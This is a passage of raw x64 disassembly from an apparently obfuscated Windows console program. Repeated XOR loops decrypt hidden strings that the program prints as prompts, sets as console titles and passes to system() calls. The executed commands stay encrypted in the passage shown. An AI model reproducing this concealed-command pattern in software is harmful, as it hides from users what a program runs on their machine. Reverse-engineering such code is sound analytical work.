shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140021c90
cmp ecx, 0x11
jge 0x140021dca
movsxd rax, ecx
lea r8, [rsp + 0x60]
add r8, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, ebx
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x11
jl 0x140021da0
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001e850
lea rdx, [rbp + 0x1b0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14001e3a0
lea rax, [rbp + 0x110]
mov qword [rbp + 0x270], rax
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x110]
call fcn.140008c70
mov rdi, rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0xf0]
call fcn.140008c70
nop
mov r8, rdi
mov rdx, rax
lea rcx, [0x1400d67b0]
call fcn.140006400
jmp 0x140022b98
movups xmm0, xmmword [0x140083870]
movups xmmword [rsp + 0x78], xmm0
movsd xmm0, qword [0x140083880]
movsd qword [rbp - 0x78], xmm0
movzx eax, word [0x140083888]
mov word [rbp - 0x70], ax
cmp byte [0x140083889], 0
je 0x140021fee
mov r8d, r14d
cmp r12d, 2
jl 0x140021fb4
movdqa xmm5, xmmword [0x140083c90]
movdqa xmm4, xmmword [0x140083cd0]
movd xmm6, ebx
movdqa xmm7, xmmword [0x140083cb0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140083ce0]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x7c]
mov edx, dword [rbp - 0x10]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140021eb1
cmp r8d, 0x1a
jge 0x140021fee
movsxd rax, r8d
lea r9, [rsp + 0x78]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, ebx
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140021fc0
lea rcx, [rsp + 0x78]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140090eeb]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call fcn.140020380
movups xmm0, xmmword [0x140083890]
movups xmmword [rsp + 0x60], xmm0
movzx eax, word [0x1400838a0]
mov word [rsp + 0x70], ax
cmp byte [0x1400838a1], 0
je 0x1400221ba
mov ecx, r14d
cmp r12d, 2
jl 0x140022180
movdqa xmm5, xmmword [0x140083c90]
movdqa xmm4, xmmword [0x140083cd0]
movd xmm6, ebx
movdqa xmm7, xmmword [0x140083cb0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140083ce0]
movdqa xmmword [rbp - 0x10], xmm0
lea rdx, [rsp + 0x64]
mov r8d, dword [rbp - 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140022080
cmp ecx, 0x12
jge 0x1400221ba
movsxd rax, ecx
lea r8, [rsp + 0x60]
add r8, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, ebx
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x12
jl 0x140022190
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001e850
lea rdx, [rbp + 0x190]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14001e3a0
movups xmm0, xmmword [0x1400838a8]
movups xmmword [rsp + 0x60], xmm0
movzx eax, word [0x1400838b8]
mov word [rsp + 0x70], ax
movzx eax, byte [0x1400838ba]
mov byte [rsp + 0x72], al
mov ecx, r14d
cmp r12d, 2
jl 0x140022350
movdqa xmm5, xmmword [0x140083c90]
movdqa xmm4, xmmword [0x140083cd0]
movd xmm6, ebx
movdqa xmm7, xmmword [0x140083cb0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140083ce0]
movdqa xmmword [rbp - 0x10], xmm0
lea rdx, [rsp + 0x64]
mov r8d, dword [rbp - 0x10]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140022250
cmp ecx, 0x13
jge 0x14002238a
movsxd rax, ecx
lea r8, [rsp + 0x60]
add r8, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, ebx
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x13
jl 0x140022360
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001e850
lea rdx, [rbp + 0x1d0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14001e3a0
movups xmm0, xmmword [0x1400838c0]
movups xmmword [rsp + 0x60], xmm0
movzx eax, byte [0x1400838d0]
mov byte [rsp + 0x70], al
mov ecx, r14d
cmp r12d, 2
jl 0x140022510
movdqa xmm5, xmmword [0x140083c90]
movdqa xmm4, xmmword [0x140083cd0]
movd xmm6, ebx
movdqa xmm7, xmmword [0x140083cb0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140083ce0]
movdqa xmmword [rbp - 0x10], xmm0
lea rdx, [rsp + 0x64]
mov r8d, dword [rbp - 0x10]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140022410
cmp ecx, 0x11
jge 0x14002254a
movsxd rax, ecx
lea r8, [rsp + 0x60]
add r8, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, ebx
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x11
jl 0x140022520
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001e850
lea rdx, [rbp + 0x1b0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14001e3a0
lea rax, [rbp + 0x110]
mov qword [rbp + 0x270], rax
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x110]
call fcn.140008c70
mov rsi, rax
lea rax, [rbp + 0xf0]
mov qword [rbp + 0x278], rax
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0xf0]
call fcn.140008c70
mov rdi, rax
lea rdx, [rbp + 0x190]
lea rcx, [rsp + 0x78]
call fcn.140008c70
nop
mov r9, rsi
mov r8, rdi
mov rdx, rax
lea rcx, [0x1400d67b0]
call fcn.140005530
jmp 0x140022b98
movups xmm0, xmmword [0x140083820]
movups xmmword [rsp + 0x78], xmm0
movsd xmm0, qword [0x140083830]
movsd qword [rbp - 0x78], xmm0
movzx eax, word [0x140083838]
mov word [rbp - 0x70], ax
cmp byte [0x140083839], 0
je 0x14002279e
mov r8d, r14d
cmp r12d, 2
jl 0x140022763
movdqa xmm5, xmmword [0x140083c90]
movdqa xmm4, xmmword [0x140083cd0]
movd xmm6, ebx
movdqa xmm7, xmmword [0x140083cb0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140083ce0]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x7c]
mov edx, dword [rbp - 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140022660
cmp r8d, 0x1a
jge 0x14002279e
movsxd rax, r8d
lea r9, [rsp + 0x78]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, ebx
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140022770
lea rcx, [rsp + 0x78]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140090eeb]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call fcn.140020380
movups xmm0, xmmword [0x140083840]
movups xmmword [rsp + 0x60], xmm0
movzx eax, word [0x140083850]
mov word [rsp + 0x70], ax
movzx eax, byte [0x140083852]
mov byte [rsp + 0x72], al
mov ecx, r14d
cmp r12d, 2
jl 0x140022922
movdqa xmm5, xmmword [0x140083c90]
movdqa xmm4, xmmword [0x140083cd0]
movd xmm6, ebx
movdqa xmm7, xmmword [0x140083cb0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140083ce0]
movdqa xmmword [rbp - 0x10], xmm0
lea rdx, [rsp + 0x64]
mov r8d, dword [rbp - 0x10]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140022822
cmp ecx, 0x13
jge 0x14002295a
movsxd rax, ecx
lea r8, [rsp + 0x60]
add r8, rax
nop dword [rax]
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, ebx
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x13
jl 0x140022930
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001e850
lea rdx, [rbp + 0x190]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14001e3a0
movups xmm0, xmmword [0x140083858]
movups xmmword [rsp + 0x60], xmm0
movzx eax, word [0x140083868]
mov word [rsp + 0x70], ax
movzx eax, byte [0x14008386a]
mov byte [rsp + 0x72], al
mov ecx, r14d
cmp r12d, 2
jl 0x140022af0
movdqa xmm5, xmmword [0x140083c90]
movdqa xmm4, xmmword [0x140083cd0]
movd xmm6, ebx
movdqa xmm7, xmmword [0x140083cb0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140083ce0]
movdqa xmmword [rbp - 0x10], xmm0
lea rdx, [rsp + 0x64]
mov r8d, dword [rbp - 0x10]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x1400229f0
cmp ecx, 0x13
jge 0x140022b2a
movsxd rax, ecx
lea r8, [rsp + 0x60]
add r8, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, ebx
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x13
jl 0x140022b00
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001e850
lea rdx, [rbp + 0x1d0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14001e3a0
lea rax, [rbp + 0x110]
mov qword [rbp + 0x270], rax
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x110]
call fcn.140008c70
mov rdi, rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0xf0]
call fcn.140008c70
nop
mov r8, rdi
mov rdx, rax
lea rcx, [0x1400d67b0]
call fcn.1400047c0
cmp byte [0x1400d69e8], 0
jne 0x140022bfe
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x270]
call fcn.1400201a0
movzx edx, byte [rax + 2]
test dl, dl
je 0x140022bd0
xor byte [rax], 0x37
xor byte [rax + 1], 0x38
xor dl, 0x39
mov byte [rax + 2], dl
mov rdx, rax
mov rcx, r8
call fcn.14001e850
mov rcx, rax
lea rdx, [0x1400d69f0]
call fcn.14001e5f0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movabs rdi, 0x7fffffffffffffff
nop dword [rax + rax]
movups xmm0, xmmword [str.ZW__e_RP]
movups xmmword [rsp + 0x78], xmm0
movsd xmm0, qword [0x140083960]
movsd qword [rbp - 0x78], xmm0
movzx eax, word [0x140083968]
mov word [rbp - 0x70], ax
cmp byte [0x140083969], 0
je 0x140022dce
mov r8d, r14d
cmp r12d, 2
jl 0x140022d93
movdqa xmm5, xmmword [0x140083c90]
movdqa xmm4, xmmword [0x140083cd0]
movd xmm6, ebx
movdqa xmm7, xmmword [0x140083cb0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140083ce0]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x7c]
mov edx, dword [rbp - 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140022c90
cmp r8d, 0x1a
jge 0x140022dce
movsxd rax, r8d
lea r9, [rsp + 0x78]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, ebx
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140022da0
lea rcx, [rsp + 0x78]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14009110c]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call fcn.140020380
lea rdx, [0x14001f0f0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movsd xmm0, qword [0x140083970]
movsd qword [rbp + 0x140], xmm0
mov eax, dword [0x140083978]
mov dword [rbp + 0x148], eax
movzx eax, word [0x14008397c]
mov word [rbp + 0x14c], ax
cmp byte [0x14008397d], 0
je 0x140022f8a
mov ecx, r14d
cmp r12d, 2
jl 0x140022f4f
movdqa xmm4, xmmword [0x140083cd0]
movd xmm6, ebx
movd xmm5, r13d
movdqa xmm2, xmmword [0x140083c90]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140083cb0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
mov eax, dword [0x140083ce0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140083970]
xorps xmm2, xmm0
movd dword [rbp + 0x140], xmm2
movdqa xmm3, xmmword [0x140083ca0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
